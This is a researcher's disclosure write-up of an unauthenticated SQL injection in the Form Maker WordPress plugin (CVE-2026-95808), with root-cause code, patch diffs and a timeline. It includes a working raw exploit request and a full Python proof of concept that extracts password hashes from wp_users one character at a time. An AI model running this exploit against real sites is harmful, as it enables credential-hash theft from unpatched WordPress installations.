CVE-2026-95808: Form Maker Unauthenticated SQL Injection via the Dynamic Choices Reload
TL;DR
- I found an unauthenticated SQL injection in Form Maker by 10Web, a WordPress form builder with 30,000+ active installs.
- The plugin has a public AJAX action that reloads a dropdown's options from the database. It pasted the visitor's input straight into the stored SQL WHERE clause.
- A form feed byte survives WordPress sanitisation, and the plugin's SQL grammar check accepts it as whitespace, so an attacker can slip in an extra condition.
- I used the returned options as a true/false oracle to read
wp_users.user_passone character at a time, with nothing but the nonce from the page source. - The issue affects Form Maker
<= 1.15.47, is tracked as CVE-2026-95808, and was fixed in 1.15.48.
Summary
- CVE: CVE-2026-95808
- Product: Form Maker by 10Web - Mobile-Friendly Drag & Drop Contact Form Builder
- Active Installs: 30,000+
- Vulnerability: Unauthenticated SQL Injection via the Dynamic Choices Reload
- Affected Versions: <= 1.15.47
- Fixed In: 1.15.48
- CVSS Severity: 7.5 (high)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Required Privilege: Unauthenticated
- Advisory: Wordfence
- Reported: August 3, 2026
- NVD Published: October 14, 2026
Introduction
[A]I was diffing Form Maker 1.15.45 on the day it came out. The plugin's "From Database" choice fields had been patched twice in a row. Release 1.15.43 closed an unauthenticated injection through the inputs parameter of the choices reload (CVE-2026-3359), and 1.15.45 closed a Subscriber-level one through the {username} placeholder in the same WHERE clause (CVE-2026-15993 and CVE-2026-16977). The 1.15.45 fix replaced a loose character-class check on the clause with a real tokeniser and a grammar, so I went through it to see whether the grammar held.
It mostly did. Quoted values come out of the clause and get bound, and the grammar throws out anything that isn't a column, an operator and a bound value. But the reload handler, the public AJAX action that refreshes a dropdown when another field changes, still pasted the visitor's input into the stored clause before the tokeniser ran. From there, a form feed byte was all it took to get a second condition past the grammar.
Root Cause Analysis
A Public Reload Action
A "From Database" field fills its options from a database table. In the form editor the admin picks a table and column and writes a WHERE clause, and the value in that clause can be a placeholder like {2} for another field, which is how a cascading select works. When field 2 changes, the browser posts the new value to the fm_reload_input action and the plugin re-runs the query with it.
That action is registered for logged-out visitors as well as logged-in ones, in form-maker.php.
// form-maker.php
add_action('wp_ajax_fm_reload_input', array($this, 'form_maker_ajax_frontend'));
add_action('wp_ajax_nopriv_fm_reload_input', array($this, 'form_maker_ajax_frontend')); // [1] Open to logged-out callers.
The wp_ajax_nopriv_ hook at [1] opens the handler to visitors with no session. The dispatcher behind it, form_maker_ajax_frontend(), checks the fm_ajax_nonce nonce and nothing else, no capability check. The nonce doesn't help either. register_frontend_scripts() prints it on every page that renders a form, and for a logged-out visitor a WordPress nonce is tied to user ID 0, so every anonymous caller reads the same one off the page.
Values Are Pasted Into the Template
The controller runs each posted value through sanitize_text_field(), then loads the stored parameters of the field being reloaded. The keys look like inputs[60|type_own_select|2], where field 60 is the select to rebuild and 2 is the field that changed. The handler is in frontend/controllers/form_maker.php.
// frontend/controllers/form_maker.php (fm_reload_input)
foreach ( $inputs as $input_key => $input_val ) {
list( $row_id, $type, $input_id) = explode('|', $input_key); // [2] Name from the key.
$key = $row_id . '|'. $type;
$ids[$key][] = $input_id.'|'.$input_val;
// ... empty values mark the field for a reset, omitted.
}
That third segment becomes $input_id at [2], which the handler turns into the {id} it looks for. Nothing checks it names a real field, so a visitor can point at a placeholder the template doesn't have yet. The values then go into the stored parameters one at a time.
// frontend/controllers/form_maker.php (fm_reload_input)
foreach ( $row_values as $val ) {
list($input_id, $input_val) = explode('|', $val);
$str_key = '{'. $input_id .'}';
if ( strpos($params, $str_key) > -1 ) { // [3] Searched live.
// Keep placeholder values as quoted SQL literals; downstream query builder re-binds safely.
$safe_val = $wpdb->prepare( '%s', $input_val ); // [4] Escaped and quoted.
$params = str_replace( $str_key, $safe_val, $params ); // [5] Written back in place.
}
}
The search at [3] runs over $params as it stands right then, and the value prepare() quoted at [4] is written back into the same $params at [5], so text one value writes in is there for the next value to match. Send {Z} in the first value and a second value keyed Z, and the second pass fills the {Z} the first one left behind.
That prepare() at [4] arrived in 1.15.43 and does stop a plain quote break, since it escapes any quote in the value. But it wraps the value in quotes of its own, and the editor already stored the value inside quotes. A "contains" filter on field 2 is stored like this:
`user_login` LIKE '%{2}%'
Drop a quoted value into a slot that is already quoted and you get '%'VALUE'%'. The admin's one literal is now two, '%' and '%', with the visitor's text between them as bare SQL.
The Grammar Takes a Form Feed
The rewritten clause then hits the tokeniser 1.15.45 added, bind_dynamic_where_clause(). It walks left to right, pulls each quoted literal into a bind list, and copies everything else into a skeleton.
// framework/WDW_FM_Library.php (bind_dynamic_where_clause)
// Quoted literal '...'
if ( $rest[0] === "'" ) {
if ( ! preg_match( "/^'((?:\\\\'|[^'])*)'/", $rest, $m ) ) {
return array( 'where' => '', 'binds' => array(), 'valid' => false );
}
$literal = str_replace( "\\'", "'", $m[1] );
if ( $literal === '' ) {
return array( 'where' => '', 'binds' => array(), 'valid' => false );
}
$binds[] = $literal; // [6] Literal bound.
$out .= '%s';
$i += strlen( $m[0] );
continue;
}
$out .= $rest[0]; // [7] Rest copied through.
$i++;
A quoted literal becomes a bind at [6] and leaves a %s behind. Anything that isn't a literal or placeholder is copied straight through at [7], and that now includes the injected text, which sits between the two split literals instead of inside one. The skeleton is then checked against the grammar.
// framework/WDW_FM_Library.php (bind_dynamic_where_clause)
// Grammar: ident op %s ( (AND|OR) ident op %s )*
$ident = '`?[A-Za-z_][A-Za-z0-9_]*`?';
$op = '(?:=|<>|!=|<=|>=|<|>|LIKE)';
$cond = $ident . '\s*' . $op . '\s*%s';
$grammar = '/^' . $cond . '(?:\s+(?:AND|OR)\s+' . $cond . ')*$/i'; // [8] Separator is \s.
if ( ! preg_match( $grammar, $out_trim ) ) {
return array( 'where' => '', 'binds' => array(), 'valid' => false );
}
The grammar at [8] allows a column, an operator and %s, joined by AND or OR, with no comments, parentheses, function calls or dotted identifiers. It does accept any PCRE whitespace between those pieces, though, and \s covers more characters than the sanitiser removes.
The injected text has to start with whitespace, since the grammar wants a separator between the admin's %s and the AND. sanitize_text_field() strips spaces, tabs and newlines, but a form feed, 0x0C, isn't a byte it touches, so it survives. PCRE's \s matches it, so a skeleton of `user_login` LIKE %s\fAND user_pass LIKE\f%s passes, with \f for the byte. MySQL counts a form feed as whitespace too, so the statement parses.
The Query
The skeleton and its binds go to build_safe_dynamic_select_query(), which re-checks the same grammar, prepends WHERE and builds the statement. select_data_from_db_for_labels() then runs it.
// framework/WDW_FM_Library.php (select_data_from_db_for_labels)
$query = !empty( $query_data['binds'] ) ? $wpdb->prepare( $query_data['query'], $query_data['binds'] ) : $query_data['query']; // [9] Only literals bound.
$choices_labels = $wpdb->get_results( $query, ARRAY_N );
prepare() at [9] binds the two literals, but the condition between them, column and operator included, is already baked into the query text. For the request in the next section, here is what runs, with the form feeds shown as spaces:
SELECT `user_login` FROM `wp_users` WHERE `user_login` LIKE '%' AND user_pass LIKE '$wp$2y%'
The admin's own filter has collapsed to LIKE '%', which matches every row, so whether any option comes back depends on the visitor's condition alone.
Impact
An unauthenticated visitor can read any column of the table a "From Database" field points at, one character at a time. Mine pointed at wp_users, so I read a password hash. Wordfence tracks it as CWE-89.
The grammar keeps a visitor to the columns of that one table and to LIKE and the comparison operators, with no subquery, UNION or function call. Comparisons use the column's collation, and wp_users is case-insensitive, so the hash comes back with its case folded, which cuts down a cracking run but isn't the exact stored value. Any other column of the table reads the same way. It's read-only and gives no session or role.
The same quoting bug breaks the feature for honest use too. On the affected versions a cascading select built this way returns nothing for a normal value, since the split literals fail the grammar, so the injected request is the only input that produces one.
Exploitation
Preconditions
- Form Maker
<= 1.15.47is active. - A published form contains a "From Database" select field whose filter uses the "contains" operator with a placeholder for another field, which the editor stores as
`column` LIKE '%{id}%'. Radio and checkbox fields run the same query, but the script below reads its result from the select's<option>tags.
Manual Request
The whole attack is one POST. The nonce is the ajaxnonce value from any public page that renders a form. The first inputs value replaces the real placeholder {2}, and the second fills the {Z} placeholder the first one planted.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
action=fm_reload_input&page=form_maker&nonce=203a14420e&form_id=1&inputs%5B60%7Ctype_own_select%7C2%5D=%0CAND%20user_pass%20LIKE%0C%7BZ%7D%5Bwhere_order_by%5D%5Bdb_info%5D%5Bdb_info%5D&inputs%5B60%7Ctype_own_select%7CZ%5D=%24wp%242y%25
Decoded, the first value is a form feed, AND user_pass LIKE, another form feed, {Z}, then [where_order_by][db_info][db_info]. The second is $wp$2y%, and the % is a LIKE wildcard, so the condition asks whether any user_pass starts with $wp$2y. When it does, the response carries the user <option> entries. When it doesn't, the select comes back empty. Extend the prefix one character at a time and you have the column.
A field packs its WHERE clause, ORDER BY clause and external-database connection details into one string, split on [where_order_by] and [db_info], and the renderer reads the first chunk of each. The tail in my payload writes those two names into the value, which pushes the admin's ORDER BY and connection details off the end and leaves both empty. I need the ORDER BY gone, because the editor stores its column in backticks, the query builder rejects backticks, and one left in would drop the query before it runs.
PoC
Below is the PoC accompanying this writeup. It reads the nonce from the form page, checks that the injected condition reaches the query, then recovers the target column with one request per candidate character.
#!/usr/bin/env python3
"""
Form Maker by 10Web <= 1.15.47 - unauthenticated SQL injection PoC (CVE-2026-95808).
Minimum attacker role: unauthenticated.
Required target precondition:
A published form contains a "From Database" select field whose stored WHERE
clause uses the "contains" operator with a field placeholder, for example:
`user_login` LIKE '%{2}%'
Exploit flow:
1. Fetch the public page carrying the form and read the shared frontend nonce.
2. Send two crafted values to the fm_reload_input action. The first splits the
stored quoted literal and injects an extra AND condition. The second supplies
the attacker controlled comparison value.
3. Use the rendered option list as a boolean oracle and read the target column
one character at a time.
Note that MySQL string comparison uses the column collation, so recovered values
are case insensitive.
"""
import argparse
import re
import sys
try:
import requests
except ImportError:
print("Missing dependency: requests. Install it with: python3 -m pip install requests", file=sys.stderr)
sys.exit(2)
FF = "\x0c"
CHARSET = "$./0123456789abcdefghijklmnopqrstuvwxyz"
NONCE_RE = re.compile(r'"ajaxnonce":"([a-f0-9]+)"')
def read_nonce(session, base_url, form_page):
resp = session.get(base_url.rstrip("/") + form_page, timeout=20)
match = NONCE_RE.search(resp.text)
if not match:
raise RuntimeError("Could not read the frontend nonce from the form page")
return match.group(1)
def probe(session, base_url, nonce, args, pattern):
"""Return True when the injected condition matches at least one row."""
inject = FF + "AND " + args.column + " LIKE" + FF + "{Z}[where_order_by][db_info][db_info]"
key = "inputs[%s|%s|%s]" % (args.field_id, args.field_type, args.placeholder)
resp = session.post(
base_url.rstrip("/") + "/wp-admin/admin-ajax.php",
data={
"action": "fm_reload_input",
"page": "form_maker",
"nonce": nonce,
"form_id": args.form_id,
key: inject,
"inputs[%s|%s|Z]" % (args.field_id, args.field_type): pattern,
},
timeout=20,
)
return "<option" in resp.text
def main():
parser = argparse.ArgumentParser(description="Form Maker <= 1.15.47 unauthenticated SQL injection PoC")
parser.add_argument("--url", required=True, help="target site base URL")
parser.add_argument("--form-page", required=True, help="path of a public page rendering the form")
parser.add_argument("--form-id", required=True, help="form ID")
parser.add_argument("--field-id", required=True, help="ID of the dynamic choice field")
parser.add_argument("--field-type", default="type_own_select", help="field type of the dynamic choice field")
parser.add_argument("--placeholder", required=True, help="placeholder key used inside the stored WHERE clause")
parser.add_argument("--column", default="user_pass", help="column to read from the configured table")
parser.add_argument("--length", type=int, default=22, help="number of characters to recover")
args = parser.parse_args()
session = requests.Session()
nonce = read_nonce(session, args.url, args.form_page)
print("Frontend nonce read without authentication: %s" % nonce)
if not probe(session, args.url, nonce, args, "%"):
raise RuntimeError("Injected condition did not reach the query; check the field and placeholder values")
print("Injected AND condition accepted by the query builder")
recovered = ""
requests_sent = 0
for _ in range(args.length):
for candidate in CHARSET:
requests_sent += 1
if probe(session, args.url, nonce, args, recovered + candidate + "%"):
recovered += candidate
print(" [%2d] %s" % (len(recovered), recovered))
break
else:
break
print()
print("Column read from the configured table: %s" % args.column)
print("Recovered value: %s" % recovered)
print("Unauthenticated requests sent: %d" % requests_sent)
if __name__ == "__main__":
try:
main()
except Exception as exc:
print("Error: %s" % exc, file=sys.stderr)
sys.exit(1)
Point it at the page carrying the form, the form ID, the ID of the dynamic choice field and the placeholder its filter uses.
python3 cve-2026-95808.py \
--url http://localhost:8090 \
--form-page "/?page_id=4" \
--form-id 1 \
--field-id 60 \
--placeholder 2 \
--column user_pass
Frontend nonce read without authentication: 203a14420e
Injected AND condition accepted by the query builder
[ 1] $
[ 2] $w
[ 3] $wp
[ 4] $wp$
[ 5] $wp$2
[ 6] $wp$2y
[ 7] $wp$2y$
[ 8] $wp$2y$1
[ 9] $wp$2y$10
[10] $wp$2y$10$
[11] $wp$2y$10$0
[12] $wp$2y$10$01
[13] $wp$2y$10$01e
[14] $wp$2y$10$01eh
[15] $wp$2y$10$01eh8
[16] $wp$2y$10$01eh86
[17] $wp$2y$10$01eh864
[18] $wp$2y$10$01eh864l
[19] $wp$2y$10$01eh864l3
[20] $wp$2y$10$01eh864l3y
[21] $wp$2y$10$01eh864l3yu
[22] $wp$2y$10$01eh864l3yud
Column read from the configured table: user_pass
Recovered value: $wp$2y$10$01eh864l3yud
Unauthenticated requests sent: 321
The lab's admin hash starts $wp$2y$10$01EH864L3Yud, so the recovered prefix matches it apart from case.
Patch Diffing
Form Maker 1.15.48 stops rewriting the template. Its changelog lists "SQL injection in fm_reload_input". The controller no longer touches $params. It collects the posted values into a map keyed by placeholder name instead, in frontend/controllers/form_maker.php.
// frontend/controllers/form_maker.php (fm_reload_input)
$param['label'] = $label;
$param['attributes'] = '';
$param['reset_fields'] = $reset_fields;
-foreach ( $row_values as $val ) {
- list($input_id, $input_val) = explode('|', $val);
- $str_key = '{'. $input_id .'}';
- if ( strpos($params, $str_key) > -1 ) {
- // Keep placeholder values as quoted SQL literals; downstream query builder re-binds safely.
- $safe_val = $wpdb->prepare( '%s', $input_val );
- $params = str_replace( $str_key, $safe_val, $params );
- }
-}
+$param['field_placeholders'] = WDW_FM_Library::collect_reload_field_placeholders( $params, $row_values );
// Prevent attacker-controlled dynamic method calls.
if ( !preg_match('/^type_[a-zA-Z0-9_]+$/', $type) ) {
continue;
The new collect_reload_field_placeholders() only keeps a value when {id} already exists in the stored template, strips control characters from it, and returns the map. The renderers merge that map into the same custom-field list the {username} placeholder lives in, so the tokeniser meets '%{2}%' exactly as the admin wrote it, recognises it as a placeholder, and binds %value% as a parameter.
The same release also drops C0 control characters, form feed included, from every request value, and changes the grammar separator so it is no longer \s, both in framework/WDW_FM_Library.php.
// framework/WDW_FM_Library.php (bind_dynamic_where_clause)
return array( 'where' => '', 'binds' => $binds, 'valid' => true );
}
-// Grammar: ident op %s ( (AND|OR) ident op %s )*
-$ident = '`?[A-Za-z_][A-Za-z0-9_]*`?';
-$op = '(?:=|<>|!=|<=|>=|<|>|LIKE)';
-$cond = $ident . '\s*' . $op . '\s*%s';
-$grammar = '/^' . $cond . '(?:\s+(?:AND|OR)\s+' . $cond . ')*$/i';
-if ( ! preg_match( $grammar, $out_trim ) ) {
+// Grammar: ident op %s ( (AND|OR) ident op %s )* with space/tab separators only (not PCRE \s).
+if ( ! self::dynamic_where_is_grammatical( $out_trim ) ) {
return array( 'where' => '', 'binds' => array(), 'valid' => false );
}
dynamic_where_is_grammatical() builds the same grammar with [ \t] in place of \s. strip_c0_controls() runs on each request value before sanitize_text_field() sees it, and removes every byte from 0x00 to 0x1F apart from tab, plus 0x7F.
The Wordfence record lists 1.15.48 as affected and 1.15.49 as the fix. I can't match that to the source. The in-place rewrite, the form feed and the \s separator are all gone in 1.15.48, and the submitted value is bound instead of becoming SQL text, so the PoC can no longer add its condition.
Version 1.15.49 tightens the same handler further. It rejects any inputs key that doesn't match digits|type_name|digits, verifies the nonce inside the controller's execute() as well as in the dispatcher, and folds the template pre-processing into a now public bind_dynamic_where_clause(), which the renderers call directly.
Remediation
Update to Form Maker 1.15.49, the current release. The fix landed in 1.15.48, and 1.15.49 hardens the same handler. If the update has to wait, take the field placeholder out of any published "From Database" filter that uses the "contains" operator, which removes this injection path.
Disclosure Timeline
- August 3, 2026: Reported to the Wordfence bug bounty program, against 1.15.45, which had been released earlier that day.
- September 22, 2026: Triage started, report validated and CVE-2026-95808 assigned.
- September 25, 2026: Bounty awarded ($200).
- September 28, 2026: Form Maker 1.15.48 released, replacing the template rewrite with bound placeholders.
- October 6, 2026: Form Maker 1.15.49 released, hardening the same handler.
- October 13, 2026: Published by Wordfence as CVE-2026-95808.
- October 14, 2026: Indexed by NVD.
Conclusion
This came from checking a fix rather than hunting the plugin cold. The 1.15.45 grammar was a real improvement, but the reload handler was still feeding it the visitor's input, and that path is gone in 1.15.48.
References
- Wordfence: Form Maker by 10Web <= 1.15.48 - Unauthenticated SQL Injection via 'inputs' Parameter
- NVD: CVE-2026-95808
- WordPress.org: Form Maker by 10Web
- Form Maker: 1.15.48 changelog
- WordPress Developer Resources: sanitize_text_field()
- WordPress Developer Resources: wpdb::prepare()
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')